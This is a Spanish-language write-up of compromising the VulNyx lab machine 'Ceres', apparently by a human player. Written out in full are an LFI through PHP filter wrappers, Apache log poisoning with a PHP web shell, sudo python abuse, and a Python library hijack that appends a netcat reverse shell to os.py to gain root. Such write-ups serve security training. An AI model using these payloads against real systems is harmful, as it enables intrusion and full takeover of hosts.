VulNyx - Ceres

logo

  • LFI/PHP Wrappers
  • Log Poisoning
  • Abusing Python Binary
  • Python Library Hijacking

Escaneo de puertos

❯ nmap -p- -T5 -v -n 192.168.1.15

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de Servicios

❯ nmap -sVC -v -p 22,80 192.168.1.15 -oN servicios

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 3681c13bb87b840f6a417b2e3a014c44 (RSA)
|   256 f67e44418000b0c2e9038d74c37aea0e (ECDSA)
|_  256 37d15ab4e50a779a2a7e1a637cd42e9b (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

http.png

Realizo una búsqueda de extensiones y encuentro dos ficheros.

❯ wfuzz -c -t 200 --hc=404 --hw=7 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,php-txt "http://192.168.1.15/FUZZ.FUZ2Z/"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.15/FUZZ.FUZ2Z/
Total requests: 441120

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                         
=====================================================================
                                                          
000001517:   200        0 L      0 W        0 Ch        "file - php"                                                    
000010309:   200        1 L      3 W        54 Ch       "secret - php"

El archivo file no se puede ver nada y el archivo secret veo que es la salida del comando id.

Esta parte de la máquina se puede complicar porque si intentas fuzzear extensiones o parámetros no encontrarás nada, pero el archivo secret tiene ese nombre por algo y el archivo file también tiene ese nombre por algo.

secret

Si usamos un wrapper sobre el fichero secrets nos devolverá una string en base64, pero hay un pequeño detalle al usar el wrapper, el detalle es que al escribir secret.php hay que ponerlo sin la extensión php para que el wrapper funcione sino quitamos la extensión el wrapper no funcionará. Eso ocurre porque el archivo file hace un include de .php sería como poner secret.php.php pero si quitamos el .php y ponemos sólo secret el resultado final será secret.php.


❯ curl -s "http://192.168.1.15/file.php?file=php://filter/convert.base64-encode/resource=secret";echo
PD9waHAKICAgIHN5c3RlbSgiaWQiKTsgLy8gICAgICAgICAgICAgICAgICAvTXlfSDFkZDNuX1MzY3IzdAo/Pgo=

Al decodear la string obtengo el directorio /My_H1dd3n_S3cr3t.

❯ echo "PD9waHAKICAgIHN5c3RlbSgiaWQiKTsgLy8gICAgICAgICAgICAgICAgICAvTXlfSDFkZDNuX1MzY3IzdAo/Pgo=" | base64 -d
<?php
    system("id"); //                  /My_H1dd3n_S3cr3t
?>

Vuelvo a fuzzear por extensiones en el nuevo directorio y encuentro otro archivo file.php.

❯ wfuzz -c -t 200 --hc=404 --hl=9 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,php-txt "http://192.168.1.15/My_H1dd3n_S3cr3t/FUZZ.FUZ2Z/"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.15/My_H1dd3n_S3cr3t/FUZZ.FUZ2Z/
Total requests: 441120

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                         
=====================================================================

000001517:   200        0 L      0 W        0 Ch        "file - php"

Aplicando el mismo parametro anterior puedo ver el fichero passwd mediante un LFI. etcpass.png

Busco archivos que puedo leer mediante el LFI y encuentro un log de apache.

❯ wfuzz -c -t 200 --hc=404 --hl=0,26 -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt "http://192.168.1.15/My_H1dd3n_S3cr3t/file.php?file=FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.15/My_H1dd3n_S3cr3t/file.php?file=FUZZ
Total requests: 922

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================
                                
000000643:   200        2509 L   30232 W    386284 Ch   "/var/log/apache2/access.log"

Al poder leer el acces.log puedo realizar un log poisoning para acceder al sistema.

acceslog

Capturo la petición con burpsuite.

burp1

La modifico y la reenvio con el user agent modificado.

<?php system($_GET['cmd']); ?>

burp2

Verifico que puedo ejecutar comandos.

acceslogcmdid

Uso netcat para obtener una shell. reverseshell

Enumerando permisos de sudo.

www-data@ceres:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on ceres:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on ceres:
    (giuseppe) NOPASSWD: /usr/bin/python

Para pivotar de usuario uso el recurso gtfobins.

www-data@ceres:/var/www/html$ sudo -u giuseppe /usr/bin/python -c 'import os; os.system("/bin/bash")'
giuseppe@ceres:/var/www/html$ id
id
uid=1000(giuseppe) gid=1000(giuseppe) groups=1000(giuseppe)

Con pspy64 encuentro una tarea que me llama la atención.

pspy64

El archivo important.py.

#!/usr/bin/python
import os

os.system('/usr/bin/id > /opt/id')
os.system('/usr/bin/sleep 15')
os.system('/usr/bin/rm /opt/id')
os.system('/usr/bin/sleep 15')

Hago una búsqueda de archivos con permisos de escritura.

giuseppe@ceres:/opt$ find / -writable 2>/dev/null | grep -v -i -E 'proc|run|sys|dev'

/usr/lib/python2.7/os.py

Veo que tengo permisos de lectura, escritura y ejecución.

giuseppe@ceres:/opt$ ls -la /usr/lib/python2.7/os.py
ls -la /usr/lib/python2.7/os.py
-rwxrwxrwx 1 root root 25911 Mar  7  2021 /usr/lib/python2.7/os.py

Edito el archivo.

echo "import subprocess;subprocess.call(['nc', '-e','/bin/bash','192.168.1.18','1234'], shell=False)" >> /usr/lib/python2.7/os.py

Dejo un nectat a la escucha y en unos segundos obtengo la shell como root.

❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.15] 47358
script /dev/null -c bash
Script iniciado; el fichero es /dev/null
root@ceres:~# id
id
uid=0(root) gid=0(root) grupos=0(root)

Y con esto ya tenemos resuelta la máquina Ceres.

Saludos!